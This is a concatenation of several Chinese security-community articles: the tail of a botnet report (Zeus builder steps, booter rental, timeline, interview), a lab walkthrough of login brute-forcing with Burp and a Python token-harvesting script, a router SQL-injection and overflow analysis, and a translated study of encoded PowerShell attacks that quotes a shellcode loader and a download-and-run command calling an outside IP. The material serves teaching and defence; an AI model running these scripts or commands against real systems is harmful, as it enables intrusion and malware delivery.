2.使用提供的细节和JPG图片配置僵尸。利用数字隐写技术，将僵尸的配置数据嵌入到JPG图片中。
经过上面两步，成功将僵尸配置和加密的配置嵌入到了JPG图片中，然后：
3.根据这些组件，生成僵尸主机可执行文件。
4.给这个可执行文件重命名，名称最好和你要进行的任务有关系，如“发票.exe”。
对于雄心勃勃的犯罪份子，更大的挑战是如何传播恶意软件。上面我们已经提到过，他们可以利用另外一个已经存在的僵尸网络。当有新的僵尸上线时，从Zeus的控制面板可以看到，并可以向它们发布命令。
**租用一个僵尸网络：僵尸网络.低价.方便**
犯罪份子也可以租用一个僵尸网络，只需要一个PayPal帐号、每天付出几块钱，不论是初学者，还是有经验的网络罪犯都可以租用到僵尸网络。“Stressers”和“booters”在网络罪犯圈中非常名，是一个网络犯罪份子提供给客户的在线DDoS工具，通常只需要少量的费用。利用软件即服务（SaaS）的销售模式,普通的DOS套餐只需要每天66美分、或每月19.99美元，豪华套餐需要每月34.99美元。
**成功需要规划**
更多认真的僵尸网络创业者将要开始一个业务计划，描述了他们的目标受害者、预测收入和成本。安全分析专家估计，如果做法正确，僵尸网络可以争取到成千上万的罪犯和每年数百万美元。考虑到大多数认真的僵尸控制者管理着到少一个僵尸网络，僵尸网络经营者也有可能改变他们的计划、载荷、和不同群体的受害者。
主要的卖点是，可以非常容易的了解僵尸网络和恶意软件开发工具，而且可以便宜的在互联网上采购到，即使是初级用户。如果犯罪份子是初学者，可以通过僵尸网络工具包，利用基本的“点击”来建立自己的僵尸网络，并以最小的努力开始窃取金钱和数据。
**全球僵尸分布**
根据Cyren公司的数据，下图是僵尸主机的分布：
从上图可以看出，印度被控的僵尸主机最多，占到30.69%，伊朗占到了10.43%，其次是越南，8.37%。
**七、万能的网络：僵尸网络做了什么**
**传播恶意软件：**
为了创建、扩大和维持僵尸网络，恶意软件必须不断的安装到新的计算机中，大多数是经过一个嵌入到邮件中的附件或链接来传播。然而，僵尸网络恶意软件也可能通过入侵网站链接，甚至通过平板电脑或手机恶意软件来传播。并不是所有的恶意软件都是为了扩大僵尸网络。僵尸网络也会传播其它类型的恶意软件，如银行恶意软件或勒索软件。下面的图片显示的是：根据Cyren的跟踪，2016年，数据庞大的含有Locky勒索软件的邮件是通过僵尸网络发送的。
**DDoS攻击：** 利用连接到僵尸网络的僵尸主机，网络犯罪份子导致受害人系统关闭或拒绝服务，通过发送大量的数据，使网站或系统的任务过载。
垃圾邮件和网络钓鱼邮件：在僵尸网络的帮助下，成千上万的计算机在同一时间工作，可以传播大量的垃圾邮件和网络钓鱼邮件。在2011年，达到了巅峰，僵尸网络发送的垃圾邮件一度超过了每天1500亿封。根据Cyren公司的评估，在2016年第3季度，全球传播的垃圾邮件和网络钓鱼邮件平均每天有568亿封。
**监控：**
僵尸主机也可以被用于监控和“嗅探”主机中特定类型的文本和数据，如用户名和密码。如果一个机器感染了几个不同僵尸网络的恶意软件，从这个主机上可以嗅探到其它僵尸网络的消息数据，可以收集关键数据，甚至是偷取其它僵尸网络。
**键盘记录器：**
在键盘记录软件的帮助下，僵尸主机收集和键盘有关的具体信息，如和某些关键词有关的字母数字、或特殊字符序列。比如“bankofamerica.com”或“paypal.
com”。如果键盘记录软件安装在成千上万的僵尸主机上，那么网络犯罪份子就有能力快速获取到敏感信息。
**点击欺诈：**
想像一下，你通过点击自己网站上的谷歌AdSense广告在赚钱。如果你是一个网络犯罪份子，并且你有自己的网站，使用一个点击欺诈的僵尸网络是有意义的，这些广告将被自己点击，这样你挣钱的潜能就更大了。
**在线民意调查和社会媒体操纵：**
僵尸网络被很好的利用到了美国大选中，各利益团体利用僵尸网络，人为影响社会媒体的网上投票和热门话题。由于僵尸网络中的每个僵尸拥有不同的IP，每张选票或假标签后可能是同一个人。
**抢票的僵尸网络：**
这种类型的僵尸网络软件在网络中价格约750美元，能使网络犯罪份子在多个不同的活动或活动日期中，抢到更多质量最好的活动门票。该软件允许用户买票，再通过卖给别人，从中获利。
全球勒索软件的C&C服务器分布图：
上图显示：位于美国的勒索软件C&C服务器占到总数的33.11%，其次是俄罗斯，占到14.29%。
**八、僵尸网络的进化：时间线**
**1988年：** Robert
Morris.Jr，开发了第一个互联网蠕虫，设计的本意是为了复制自身，进而感染其他连接的计算机，最终建立一个连接的计算机系统，并由他控制。
**1999年：** 一个木马和一个蠕虫，Sub7和Pretty Park被认为是最早的恶意软件，经过IRC 通讯管道来让受害计算机接收恶意指令。
**2004年：** Phatbot，一个Agobot的变种，是第一个用P2P代替IRC的僵尸网络。
**2006年：** Zeus(Zbot)恶意软件首次出现，使得网络犯罪份子有能力偷取银行凭证，并有了使更多受害者的电脑变成僵尸网络能力。
**2008年：** Grum出现，并在四年的时间内得到很大扩展，每天能传播399亿封邮件。
与此同时，Storm僵尸网络被多次打击、和卸载僵尸主机后，被强制下线。
**2010年：** Zeus的代码被集成到了SpyEye恶意软件中，并销售给高端的犯罪份子。
与此同时，Waledac僵尸网络在微软的反攻下，被下线。
**2011年：** Gameover Zeus僵尸网络开始使用P2P协议和C&C服务器通讯。
此外，根据Cyren的研究报告，当2011年3月Rustock僵尸网络被下线后，垃圾邮件的数量下降了30%。
**2012年：** 在俄罗斯、乌克兰、巴拿马和荷兰的共同协助下，Grum僵尸网络被下线。
**2013年：** 安全专家报告了第一个安卓僵尸网络“MisoSMS”。
此外，联合执法部门和私营部门，使多个Citadel僵尸网络下线。
**2014年：** 美国司法部以及多个国家的执法机构，联合控制了Gameover Zeus僵尸网络。
**2016年：** 首个物联网僵尸网络产生，成千上万的设备受到感染。
**2017年
&未来：**物联网僵尸网络规模会变大，变得更复杂。因为有一些设备，如家电，缺乏有效的安全保护。僵尸网络开发者在建立僵尸网络的能力上，将变得更加有创意和隐密，更加难以瓦解。
**九、采访僵尸网络猎人**
Cyren的网络安全专家Geffen Tzur谈论了对抗僵尸网络犯罪所面临的成功与挑战。
**怎么确定这是一个僵尸网络？**
确定一个僵尸网络，您需要从全球各地的各种来源的多个网络交易之间的找到关联。在实际的工作中，一旦你有这个能力，就有多种不同的方法来识别僵尸网络。
在这里我们介绍一种方法，就是尝试识别那些受感染的计算机之间的相关性，使用Web安全网关检测来自不同来源的相同异常现象。例如，犯罪份子在HTTP传输过程中可能利用相同的非标准端口，并将数据发送到相同的目标服务器上。当你汇集数据、分析日志时，你就有可能发现异常情况。同样，一个发送垃圾邮件的僵尸网络通常从多个不同的IP地址发送同样内容的邮件。Cyren的邮件服务器就是使用这种技术来探测垃圾邮件僵尸网络的。
**安全专家怎么识别P2P僵尸网络？**
识别P2P僵尸网络具有很大的挑战性，最大的问题是P2P僵尸网络没有单独的服务器供僵尸主机来通联。可以有多达数千台个人电脑一起工作，并且你有时无法分辨出哪个才是C&C服务器。识别P2P行为通常包括检测来自一台服务器的不同连接的数量—网络犯罪份子是否打开了太多的非标准的目的端口，这种方法在安全解决方案中可以经常看到。
**从恶意软件本身可以判断出特定僵尸网络的线索吗？**
通过动态分析恶意软件，我们可以检测到典型的僵尸网络引起的行为，如注册代理、操作系统和环境信息采集，和网络识别。然后，这些行为可以被描述成一个配置文件，因此，相同的恶意软件的其他变种可以被标记为相同的僵尸网络。最终，当一个启发式的反恶意软件解决方案发现这些变种之一时，它可以分辨出相同的恶意软件家族。另处，当安全专家分析由僵尸网络传播的恶意软件时，可以通过在沙箱中检测恶意软件的典型行为、识别注册代理行为、僵尸网络行为，以及僵尸网络的网络识别、向C&C发送信息的尝试行为等。
**僵尸网络是如何命名的？**
安全专家给僵尸网络起名字时，经常基于一些词、短语、或是在二进制代码中看到的字符串。有时也可以基于相关的网络活动，比如服务器的名称或特殊的头部信息。不同的公司可以给出不同的名称。比如，Zeus僵尸网络在行业中有几个名称，如Zbot、Zeus
Gameover、Trojan-Spy和Win32.Zbot。实际上，是由安全专家发布的名称，并不一定是僵尸网络所有者选择的名称。犯罪份子可以给僵尸网络起自己的名称，我们并不需要知道。
**创建一个僵尸网络需要有专业的知识吗？**
实际上，创建一个僵尸网络是相当容易的，不论是有一点基础知识的人、还是专业的人，都可以做到。你可以买一个现成的僵尸网络、或者雇佣别人帮你创建，或者让一个组织为你传播、购买C&C服务器，或者甚至租一个现有的僵尸网络，方法太多了。僵尸网络可被用于各种功能，如银行、垃圾邮件和网络钓鱼、黑客行为、和分布式拒绝服务（DDoS）攻击。我们也看到了创建僵尸网络的专用恶意软件、和僵尸主机专用的恶意软件。这是一个行业、是一个组织，可以提供僵尸网络的租赁和购买，就像是任何合法的服务。其中最著名的一例是Mariposa僵尸网络，三个犯罪份子购买了一个工具包，并创建了它。其实不需要什么特别的技能，我们经常发现一些“入门级”初学者创建的僵尸网络。
像任何其它软件一样，您也可以购买开源版本，使你能够创建一个僵尸网络。但这种软件可以被安全人员很容易的检测到，所以这种僵尸网络的存活时间可能不会太长。对于如何保护僵尸网络，你需要有逃避追踪的专业知识、技能，例如怎么在沙箱中不被激活，尤其是如何才能不被安全人员发现的太快。
**怎么做一个功能上像Zeus的银行僵尸网络？**
Zeus是一个僵尸木马恶意软件，在2007年到2010年间，感染了数百万台计算机。它通过监听浏览器进程窃取银行信息，检测按键并抓取网页表单数据，经常被人称为浏览器中间人攻击。一旦信息被窃取，它会将信息发送到一个远程主机，该主机通常是一个被控的服务器。然后，僵尸控制者取回这些银行凭证，通过被控的代理，登录到受害人的银行帐户，将钱转移到指定的银行帐户。这个银行帐户通过钱骡网络来控制–这个网络的任务是从这些银行账户取钱，通常设在没有银行监管的国家。然后骡子会将钱转移到僵尸网络控制者的组织中。
**勒索软件是僵尸网络的一部分吗？**
勒索软件可以依靠僵尸网络来传播，但是在传播以后，它们没有像僵尸网络一样的行为，比如同步操作。僵尸网络是一群计算机在一起工作，以执行连续的攻击。勒索软件和其它被感染的机器之间不需要同步操作。
**现在似乎有很多安全公司和组织在跟踪僵尸网络，为什么关闭僵尸网络依然很难？**
实际上，目前僵尸网络和恶意软件的数量远远多于安全公司的数量。让僵尸网络下线是一件相当复杂的事件。这一切主要由于超回避恶意软件的存在，他们能躲避安全软件的探测，安全公司发明的新探测方法和超回避恶意软件相比，往往落后一步。至于让僵尸网络下线—-这通常需要执法部门和互联网服务供应商的配合，需要他们来做。在许多情况下，他们与安全厂商没有足够的合作和信息共享。在某些情况下，隐私问题和国家之间的法规又拖延或阻止了这种合作。而让执法部门和政府监管有所改变是很难的。最终，像Cyren这样的保护用户的安全公司，和执法部门相比，能更快的关闭僵尸网络。
**租一个僵尸网络需要花多少钱？**
这肯定是不一样的，租一僵尸网络的价钱从几千美元到几十万美元都有可能，价钱根据攻击类型、僵尸网络的目的，期望达到了破坏类型等等。
**哪个行业是僵尸网络攻击最多的目标？**
对银行和其他金融机构的攻击肯定是最多的，对政府的攻击将会继续增长。
**僵尸网络在未来会如何发展？**
传播勒索软件能得到高回报，它可能会继续让每个人都很忙。预计在未来，我们会看到越来越多的僵尸网络使用P2P架构，这种架构很难被探测到。利用物联网设备的僵尸网络会断续发展，而且会更加复杂。此外，僵尸网络将继续被用于恶意软件和垃圾邮件的传播。
**传送门**
* * *
[**【技术分享】2017僵尸网络研究报告（下）**](http://bobao.360.cn/learning/detail/3413.html) | 社区文章 |
# 1.暴力破解
## 1.Burte Force（暴力破解）概述
Burte Force（暴力破解）概述
“暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。
其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。 为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说，大多数系统都是可以被暴力破解的，只要攻击者有足够强大的计算能力和时间，所以断定一个系统是否存在暴力破解漏洞，其条件也不是绝对的。
我们说一个web应用系统存在暴力破解漏洞，一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略，导致其被暴力破解的“可能性”变的比较高。
这里的认证安全策略, 包括：
1.是否要求用户设置复杂的密码；
2.是否每次认证都使用安全的验证码（想想你买火车票时输的验证码～）或者手机otp；
3.是否对尝试登录的行为进行判断和限制（如：连续5次错误登录，进行账号锁定或IP地址锁定等）；
4.是否采用了双因素认证；
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
## 2.基于表单的暴力破解
1.进入靶场
2.账号密码随便输入，登录抓包，右键发送到intruder模块
3.把密码字段设置为变量
4.导入密码文件
5.设置线程
6.进行爆破
7.爆破完毕之后，对结果进行排序，点击数字不同的返回包，看是否登陆成功，如图所示，登陆成功
## 3.验证码绕过(on server)
1.进入靶场，可以看到本靶场需要输入验证码
2.账号密码随便输入，登录抓包，右键发送到intruder模块，先发到repeater重发器重放
3.再次发送发现验证码可重复使用，可以直接爆破
4.这一关的验证码是在后台服务端生成后放到前端客户端，如果后台服务端验证码刷新了，则上一次的验证码失效。
抓包后，发现验证码参数，经测试直接放入Intruder模块爆破即可，不要在Proxy->Intercept模块放包后刷新页面，因为刷新页面后后台服务端的验证码也会随之刷新，从而使上一次验证码失效，导致爆破不了。
5.接下来的步骤同上一题
6.请求包密码为123456，带着验证码参数请求
7.返回包中，返回了login success字样，成功爆破到密码
## 4.验证码绕过(on client)
1.进入靶场，可以看到本靶场需要输入验证码
2.客户端自己验证自己，就是一切都用户说了算。f12开发者模式查看网页源码发现验证码的生成和验证码的校验都是通过前段实现的
弹框，也可以说明是前端javascript验证验证码
3.账号密码随便输入，登录抓包
4.过关方法
（1）这一关的验证码是在前端客户端生成的，所以将验证码参数删除，右键发送到intruder模块
（2）禁用浏览器js脚本，验证码就不会显示了
首先网站是有验证码的
谷歌浏览器禁用js
刷新页面，验证码就消失了，就可以继续爆破了
（3）只要正确填写过一次验证码（注意它这里的验证码是区分大小写），让burp抓到包就可以爆破了
5.接下来的步骤同上一题
6.可以看到请求包中并没有验证码参数
7.返回包中，返回了login success字样，成功爆破到密码
## 5.token防爆破
token防爆破?
查看源码我们会就会发现，每次请求里面都会加上token的值，所以如果我们爆破的话，每次爆破，都要有三个参数，分别是username，password，token，比较麻烦，这里提供两种方法，第一种使用burpsuite进行暴力破解，第二种方法是使用python脚本。
第一种方法，使用burpsuite神器进行暴力破解
1.进入靶场
2.抓取数据包可以看到请求头中有token参数，重放两次数据报后会提示token错误
3.通过测试发现每个数据包的token在变化，尝试使用pitchfork进行爆破
具体设置如下：
选择pitchfork进行爆破，添加密码和token变量
4.因为token值是单次传递的，所以线程数改为1
5.在GREP-Extract中获取响应包，从中提取参数。选中token值，这个时候工具会自动编辑规则，复制token值备用。点击ok。
6.在页面最底部找到always选项
7.回到payloads模块，正常添加第一个变量密码的字典
8.第二个变量选择递归搜索(Recursive grep)
9.返回包中，返回了login success字样，成功爆破到密码
第二种方法，通过burpsuite截断信息，我们可以获取cookie及post提交的字段信息；
根据获取到的信息编写Python脚本，python脚本如下：
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899']
# 设置http请求头部信息
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
# token验证
token= BeautifulSoup(req.text,'lxml').find('input',{'name':'token'}).get('value')
for pa in password:
# 基于表单的暴力破解
# req=s.post(url='http://x.x.x.x/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'})
# 验证码绕过（on server)未失效，可重复使用
# data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'}
# req = requests.post(url='http://x.x.x.x/vul/burteforce/bf_server.php',
# data=data, headers=header)
# 基于client端验证码，后台无校验
# req=s.post(url='http://x.x.x.x/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'})
# 基于token验证
req=s.post(url='http://x.x.x.x/vul/burteforce/bf_token.php#',data={'username':'admin','password':pa,'token':token,'submit':'Login'})
if 'success' in req.text:
print("爆破成功，用户名：admin,密码为：%s" % pa)
break
else:
req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
此脚本来源于<https://blog.csdn.net/Nicky_Zheng/article/details/109170903>
脚本成功运行后，爆破到密码，如下图
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 路由器漏洞挖掘之 TEW_645TR_1.12 sql 注入分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次再来复现一个路由器的 sql 注入类型的漏洞。在实际环境中可能注入会比较少见，而且这个洞也比较老了，但是为了掌握更大的漏洞攻击面还是有必要去接触的。
## 漏洞分析
### 环境搭建
还是使用 qemu-user 模式，同样的还是编写一个 sh 脚本：
#!/bin/bash
INPUT="$1"
LEN=$(echo -n "$INPUT"|wc -c)
DEBUG="$2"
if [ "$DEBUG" == "-d" ]
then
echo $INPUT | chroot . ./qemu -E REMOTE_ADDR="127.0.0.1" -E CONTENT_TYPE="multipart/x-form-data" -E REQUEST_METHOD="POST" -g 23946 -E CONTENT_LENGTH=$LEN ./usr/bin/my_cgi.cgi
else
echo $INPUT | chroot . ./qemu -E REMOTE_ADDR="127.0.0.1" -E CONTENT_TYPE="multipart/x-form-data" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN ./usr/bin/my_cgi.cgi
fi
不带调试的运行结果：
使用 IDA 进行动态调试发现已经将我们的输 **入直接拼接到 bss 段的 sql 变量中**
## 漏洞分析
在进行漏洞分析时，还发现了存在多处的栈溢出漏洞。
### 多处栈溢出
在 do_login 函数的开头，s1 寄存器的值为 “request”：
在执行第一个 strcpy 函数时， **直接将 user_name 的值复制到栈上，导致栈溢出**
同样在执行第二个 strcpy 函数之前，在右边的 `general register` 窗口中跟进 a1 寄存器的值（在 a1 寄存器上右键，`Jump
in a new window`）
同样使用 Ghidra 9.0 的反汇编窗口中也可以很清楚看到这个漏洞，`*(iParm1 + 0x299) 和 *(iParm1 + 0x512)`
分别为传入的 user_name 和 user_pass
继续往下分析，又有一个危险函数 sprintf ， **这里会将用户名和密码格式化一个 sql 语句到 bss 段的 sql 变量，所以按理说如果输入的
user_name 或者 user_pass 过长，那么这里也是存在一处 bss 溢出的** 。
Ghidra 中的代码：
sprintf(sql,"select level from user where user_name='%s' and user_pwd='%s'",&local_60,&local_40);
接着会往下执行 exec_sql 函数来执行 sql 函数，这里先 f8 步过
这里执行 sql 查询以及下面的判断如下，经过 exec_sql 函数的执行之后，取得返回值来判断登录的状态
iVar1 = exec_sql(my_db,sql,__ptr);
if (iVar1 == 0) {
if (*(int *)((int)__ptr + 0x4f200) == 0) {
__n_00 = strlen(sql);
memset(sql,0,__n_00);
sprintf(sql,"select level from user where user_name='%s'",&local_60);
iVar2 = exec_sql(my_db,sql,__ptr); // 无过滤直接拼接 SQL 语句
if (iVar2 == 0) {
if (*(int *)((int)__ptr + 0x4f200) == 0) {
uVar2 = *strings;
}
else {
uVar2 = strings[1];
}
add_msg(uVar2,"login");
}
free(__ptr);
set_redirect_page(&DAT_00417e98);
return;
}
iVar2 = atoi((char *)((int)__ptr + 0x20));
iVar2 = add_login_user(uParm3,iVar2);
if (iVar2 == 0) {
add_msg(strings[3],"login");
pcVar3 = "back";
}
else {
if (iParm4 != 1) {
free(__ptr);
set_redirect_page(0x4174a8);
return;
}
pcVar3 = "wlan_client_basic";
}
}
else {
pcVar3 = "login";
}
free(__ptr);
set_redirect_page(pcVar3);
return;
这里确实是将用户名和密码不经过过滤就直接传入拼接出 sql 语句并且传入 exec_sql 函数
exec_sql(db,"select level...",heap_ptr)
在 gdb-multiarch 动态调试中也可以发现：
这里的 `exec_sql` 函数为位于：
./squashfs-root/lib/libdbapi.so.1.0.0
我们把这个链接库文件加载到 Ghidra 中进行静态分析。
在 0x766c1034 处下一个断点，可以知道这里调用的是 sqlite3_exec，此函数的地址是 0x76769470
此时执行的函数如下，拼接传入的 sql 语句位于第二个参数：
sqlite3_exec(db,"select level...",(void *)(callback_exec),**a3)
通过 vmmap 命令可以找到这个函数位于：
/lib/libsqlite3.so.0.8.6
继续将他放到 Ghidra 中分析，在左边的导出表 Exports 中找到 sqlite3_exec 函数
发现这里执行的都是 sqlite3 中标准的数据库函数，即 sqlite3_open、sqlite3_prepare、sqlite3_exec 等等，参考：
<https://www.cnblogs.com/zfyouxi/p/5258589.html>
这里 exec_sql 函数的原型：
### 函数分析
回到上面的函数，关注前两个参数：
1. 第一个参数为经过 sqlite3_open 函数返回的指向数据库的指针。
2. 第二个参数为拼接的 sql 语句（sql statement）
接下来依次经过了 `sqlite3_prepare 、sqlite3_column_count、sqlite3_setp`
* 参考上面的资料，这几个函数的作用依次为：
1. 初始化数据库的连接，将结果的对象指针存储到 &stmt 中
2. sqlite3_column_count 顾名思义返回查询的表中的列数
3. sqlite3_setp 函数将 stmt 指针作为参数执行 sql 语句
接下来的一些操作就是返回执行的结果，对 sqlite3 数据库查询感兴趣的可以自行去了解下。
## 总结：
综上，这里主要是没有对用户的输入进行过滤，直接将拼接完的 sql 语句带到 exec_sql 函数中，并执行 sqlite3 的查询语句，造成注入。
## 参考资料：
<https://www.cnblogs.com/zfyouxi/p/5258589.html> | 社区文章 |
# 【技术分享】揭开PowerShell编码攻击的神秘面纱
|
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<http://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
在过去的几年中，随着框架不断完善成熟，PowerShell也在不断获得人们的关注和欢迎，因此，在攻击行动中越来越多地看到PowerShell的身影也就不足为奇了。PowerShell为攻击者提供了系统各种原生功能支持，通过快速查看PowerShell恶意工具的泛滥形势，你可以对此类工具的增长态势有个整体了解。
微软对高版本的PowerShell做了些处理，提供了包括Transciption、ScriptBlock等多种方式来记录PowerShell的活动日志，因此基于PowerShell的攻击需要在运行时对其代码进行混淆编码。
首先让我们来看一下PowerShell的“-EncodedCommand”参数。
-EncodedCommand
Accepts a base64-encoded string version of a command. Use this parameter
to submit commands to Windows PowerShell that require complex quotation
marks or curly braces.
如PowerShell上述的使用说明，“EncodedCommand”是其一个命令，旨在对复杂字符串进行封装以便PowerShell在命令行中进行执行。你可以利用此命令对关键字符串进行隐藏，以躲避防护软件的探测。
本文主要有两个目的，其一，本文在“整体分析”中会分析利用Palo Alto Networks
AutoFocus服务识别收集的4,100个PowerShell攻击样本（这些样本均使用了EncodedCommand技术），来了解PowerShell攻击中所使用的技术及攻击方式；其二，我将利用解码后样本对PowerShell代码进行分类，为后续识别或研究工作提供参考。
**二、整体分析**
在开始分析前，我首先需要识别使用该技术的样本。因为PowerShell为用户提供了多种灵活调用参数的方法，因此样本的识别工作并不像想象中的那么容易。
以下三个样本使用那个了三种不同的方法来调用EncodedCommand参数：
1、完全形式：
powershell.exe –EncodedCommand ZQBjAGgAbwAgACIARABvAHIAbwB0AGgAeQAiAA==
2、大写截断形式：
powershell.exe –eNco ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA=
3、转义字符注入分解字符串形式：
powershell.exe –^e^C^ ZQBjAGgAbwAgACIAVwBpAHQAYwBoACIA
对这三种方法进行组合利用，单论“EncodedCommand”参数，我们就可以得到100,00多种变化。我给出了以下的正则表达式，覆盖了这种变化多数情况，同时也可以方便地应用于动态分析报告中的大规模语料库场景。
-[Ee^]{1,2}[NnCcOoDdEeMmAa^]+ [A-Za-z0-9+/=]{5,}
比如，正则表达式可以提取如下的PowerShell命令以便后续分析：
powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc
cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6
AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4
AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoA
大多数编码数据都是利用模板或公开工具生成而来，每当攻击者需要运行shellcode或下载另一个恶意文件时，他们并不需要重复造轮子。这一点可以通过以下情况证实：攻击代码中的底层代码基本一致，只有其中的文件下载地址及其他信息存在略微不同。为了对数据进行分析，我需要尝试识别代码并确定代码的生成方式，或者至少能够对代码进行分组归类。
**2.1 分析方法**
为了说明这个工作的困难程度，我们可以回看2012年Matthew
Graeber发布的一篇关于PowerShell脚本的博文，脚本可以加载shellcode至内存并运行。这个脚本也是此类技术的基础模板，大多数公开工具参考了脚本以期获得同样功能。
以下是TrustedSec系列工具中的社会工程学工具集（Social-Engineer Toolkit，SET）和Magic
Unicorn工具经过两次迭代后的表现形式。对比两个样本，你可以发现，初始变量名上SET使用的是“$c”，而Magic
Unicorn使用的是“$nLR”。与此类似，SET中“$size”与Magic
Unicorn中“$g”对应，“$sc”与“$z”对应，“$x”与“$kuss”对应。
SET：
$c = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = ;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};
Magic Unicorn：
$nLR = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $nLR -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$kuss=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($kuss.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$kuss,0,0,0);for (;;){Start-sleep 60};
在Magic Unicorn中，生成脚本中有一行用于对一些变量进行随机化处理。以下样例显示了随机化处理的工作机制：
var1 = generate_random_string(3, 4)
var2 = generate_random_string(3, 4)
powershell_code = (
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr …
powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3) …
脚本使用3到4个随机数字字符对一些变量进行处理，但不是所有的变量都会被替换，因此我可以得知其变量生成机制。此外，如果没有经过Magic
Unicorn脚本或其他形式的随机化处理，当这个特定片段被复制到其他工具中时我也可以鉴别出来。
对代码进行分析时，如果代码经过了许多人多年的重度重复使用，那么你总会碰到不适合分析的代码。我试图通过特征值尽可能准确地对代码进行分类，但不一定能做到足够准确，因为没有什么能够阻止别人简单地将代码复制粘贴到自己的工具中。
总体而言，我分析了27类公开工具或技术，它们具有独特的标识符，可以作为归类依据。在编号归类后我会对每个变种进行深度分析。首先我们来看一下变种的分支细目、样本数以及所占的样本百分比，如下表所示：
我们所分析的样本中，超过一半使用了“DownloadFile-StartProcess”技术或前文所述的shellcode注入技术。
**2.2 整体分布及统计**
我们在4,100个样本中发现了4中文件格式。如下表所示：
可知，EXE和DOC格式占了绝大部分。进一步后我们发现，77%的DOC文件（即1,326个样例）可以归到“Downloader
DFSP”变种，该变种通过DownloadFile-StartProcess方法实现下载器功能，如以下代码所示：
(New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',"$env:APPDATAcsrsv.exe");Start-Process ("$env:APPDATAcsrsv.exe")
有1,159个DOC文件样本（占比87%）可以归到Cerber勒索软件变种中，这意味着存在一款生成恶意Word文档的模板工具，可以用来创建带有启动PowerShell功能的恶意宏文档。
投递DOC文档的主要渠道是使用SMTP/POP3协议，这与现今勒索软件使用电子邮件进行恶意Word文档投递的情况一致。
图1. 投递恶意PowerShell文档的渠道
图2描述了攻击目标的行业分布，其中高等教育、高科技、专业领域、律政行业及医疗保健方面的分布所差无几。
图2. 检测到恶意PowerShell文档的行业分布
图3. AutoFocus在过去12个月捕获的恶意Powershell文档样本数。
接下来让我们看一下EXE样本。在分类方面，这些样本基本都是恶意软件家族的变种，没有特别的地方。有趣的是，它们的攻击目标似乎倾向于高科技行业。
图4. 检测到恶意PowerShell可执行文件的行业分布
与DOC类别样本相比，其在时间上的分布更为均匀。
图5. AutoFocus在过去12个月捕获的恶意PowerShell可执行文件样本数
